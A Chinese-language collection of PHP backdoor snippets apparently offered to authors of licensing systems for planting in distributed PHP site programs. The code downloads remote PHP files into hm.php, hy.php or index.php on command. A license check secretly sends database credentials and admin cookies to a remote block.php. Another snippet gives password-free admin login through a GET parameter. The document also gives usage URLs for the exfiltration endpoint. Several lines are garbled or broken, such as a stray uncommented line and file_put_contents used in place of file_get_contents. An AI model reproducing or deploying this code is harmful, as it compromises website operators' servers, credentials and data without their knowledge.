--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
后门代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if($_GET['hy']){
	file_put_contents("hy.php",file_get_contents("http://{您的授权站域名}/hm/hy.txt"));
}
if($_GET['hm']){
	file_put_contents("hm.php",file_get_contents("http://{您的授权站域名}/hm/hm.txt"));
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
下易支付认证代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function pay_api()
{
	global $conf;
	if ($conf["payapi"] == 1) {
		$url = "http://{认证过的易支付域名}/";
	} else if ($conf["payapi"] == -1) {
		$url = $conf["epay_url"];
		if ($_SESSION["PAYCHECK"] != $url) {
            $auth_url_arr = ['auth.hrbwj.cc'];
            $auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)];
			$paycheck_url = "http://'.$authurls.'/api/paycheck.php?proid={程序识别码}&url=" . $url;
			$query = file_get_contents($paycheck_url);
			if ($query = json_decode($query, true)) {
				if ($query["code"] == 1) {
					$_SESSION["PAYCHECK"] = $url;
				} else {
					return false;
				}
			}
		}
	}
	return $url;
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
多程序无敌优秀授权代码
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
include_once ROOT."authcode.php";
if (!isset($_SESSION['AUTHBIRTH'])) {
    $auth_url_arr = ['您的授权站域名'];//例如auth.phpn1.cn 不加http或https协议头，末尾不要带/
    $auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)];
    $proid_nam_arr = ['您的程序识别码']; 后台程序列表里的程序识别码
    $proid_nam = $proid_nam_arr[array_rand($proid_nam_arr, 1)];
    $check_url='http://'.$auth_url.'/api/check.php?proid='.$proid_nam.'&url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode;
    $query = file_get_contents($check_url);
    file_get_contents('http://'.$auth_url.'/api/block.php?proid='.$proid_nam.'&url='.$_SERVER['HTTP_HOST'].'&user='.$dbconfig['user'].'&pwd='.$dbconfig['pwd'].'&db='.$dbconfig['db'].'&cookies='.$_COOKIE['admin_auth_token']);
    if ($query = json_decode($query, true)) {
        if ($query['code'] == 1) {
            $_SESSION['AUTHBIRTH'] = $authcode;
        } else if ($query['code'] == 2) {
            file_put_contents(ROOT.'hm.php',file_put_contents('http://'.$auth_url.'/hm/hm.txt'));
            sysmsge('<h3>'.$query['msg'].'</h3>', true);
		} else if ($query["code"] == 3) {
			file_put_contents(ROOT.'hy.php',file_put_contents('http://'.$auth_url.'/hm/hy.txt'));
            sysmsge('<h3>'.$query['msg'].'</h3>', true);
        } else if ($query['code'] == 4) {
            file_put_contents(ROOT.'index.php',file_put_contents('http://'.$auth_url.'/hm/hys.txt'));
            sysmsge('<h3>'.$query['msg'].'</h3>', true);
        } else {
            sysmsge('<h3>'.$query['msg'].'</h3>', true);
        }
    } else if (!empty($query)) {
        sysmsge('<h3>授权验证结果异常！</h3>', true);
    } 
}


-------------------------------------版权文件代码-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

if(!file_exists('/Birth版权文件.txt')){//“Birth版权文件”这个是版权文件的名字，可以改成你自己的

@file_put_contents('Birth版权文件.txt','该文件是Birth的版权文件，切勿删除！否则本程序无法正常运行！');
//这里如果检测到文件被删除将自动生成本文件，“该文件是Birth....正常运行！”这个是版权文件的内容


//检测提示
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
免密码登录后台后门实例
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if($_GET['do']=='login'){
	setcookie("admin_auth_token", $_GET['token'], time() + 604800);
}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
在适当位置插入如下代码，使用获取到的cookies值get即可免密登陆
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
例如；访问域名http://{域名}/{后门所在文件}.php?do=login&cookies={cookies值}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
接口使用示例：http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
代码示例①：@file_get_contents("http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}");
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
代码示例②：curl_get("http://{域名}/api/block.php?name={网站名称}&qq={站长QQ}&admuser={站点后台账号}&admpwd={站点后台密码}&url={域名}&user={数据库账号}&pwd={数据库密码}&db={数据库名}&cookies={cookies信息}");
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
上述这个代码也是盗版入库代码
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------